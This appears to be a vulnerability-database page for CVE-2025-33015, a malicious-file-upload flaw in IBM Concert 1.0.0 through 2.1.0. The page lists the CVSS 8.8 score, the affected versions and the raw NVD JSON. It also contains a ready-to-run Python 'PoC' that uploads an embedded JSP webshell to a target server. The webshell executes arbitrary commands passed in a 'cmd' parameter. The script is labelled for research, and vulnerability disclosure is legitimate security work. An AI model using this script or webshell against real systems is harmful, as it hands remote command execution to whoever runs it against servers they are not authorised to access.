Security Vulnerability Report
中文
CVE-2025-33015 CVSS 8.8 HIGH

CVE-2025-33015

Published: 2026-01-20 16:16:03
Last Modified: 2026-01-26 19:40:07

Description

IBM Concert 1.0.0 through 2.1.0 is vulnerable to malicious file upload by not validating the content of the file uploaded to the web interface.

CVSS Details

CVSS Score
8.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:ibm:concert:*:*:*:*:*:*:*:* - VULNERABLE
IBM Concert 1.0.0
IBM Concert 1.1.0
IBM Concert 1.2.0
IBM Concert 1.3.0
IBM Concert 2.0.0
IBM Concert 2.0.1
IBM Concert 2.1.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 """ CVE-2025-33015 PoC - IBM Concert Malicious File Upload Note: This PoC is for educational and authorized testing purposes only. """ import requests import sys TARGET_URL = "http://target-ibm-concert-server" UPLOAD_ENDPOINT = "/api/upload" # Create a simple JSP webshell for testing webshell_content = '''<%@ page import="java.util.*,java.io.*"%><% if (request.getParameter("cmd") != null) { Process p = Runtime.getRuntime().exec(request.getParameter("cmd")); OutputStream os = p.getOutputStream(); InputStream in = p.getInputStream(); DataInputStream dis = new DataInputStream(in); String disr = dis.readLine(); while ( disr != null ) { out.println(disr); disr = dis.readLine(); } } %>''' def exploit_cve_2025_33015(target_url, upload_endpoint): """ Exploit for CVE-2025-33015: IBM Concert file upload vulnerability """ print(f"[*] Target: {target_url}") print(f"[*] CVE-2025-33015 IBM Concert Malicious File Upload Exploit") files = { 'file': ('malicious.jsp', webshell_content, 'application/octet-stream') } try: response = requests.post( f"{target_url}{upload_endpoint}", files=files, timeout=30 ) print(f"[+] Response Status: {response.status_code}") print(f"[+] Response Body: {response.text}") if response.status_code == 200: print("[+] File uploaded successfully - vulnerability confirmed!") print("[+] Access the uploaded file to execute commands") else: print("[-] Upload failed or target may be patched") except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") if __name__ == "__main__": if len(sys.argv) > 1: TARGET_URL = sys.argv[1] exploit_cve_2025_33015(TARGET_URL, UPLOAD_ENDPOINT)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-33015", "sourceIdentifier": "[email protected]", "published": "2026-01-20T16:16:02.580", "lastModified": "2026-01-26T19:40:06.667", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "IBM Concert 1.0.0 through 2.1.0 is vulnerable to malicious file upload by not validating the content of the file uploaded to the web interface."}, {"lang": "es", "value": "IBM Concert 1.0.0 hasta 2.1.0 es vulnerable a la carga de archivos maliciosos al no validar el contenido del archivo cargado a la interfaz web."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-434"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:ibm:concert:*:*:*:*:*:*:*:*", "versionStartIncluding": "1.0.0", "versionEndExcluding": "2.2.0", "matchCriteriaId": "065602A3-1E93-487B-B667-4C40FF7D0094"}]}]}], "references": [{"url": "https://www.ibm.com/support/pages/node/7257006", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}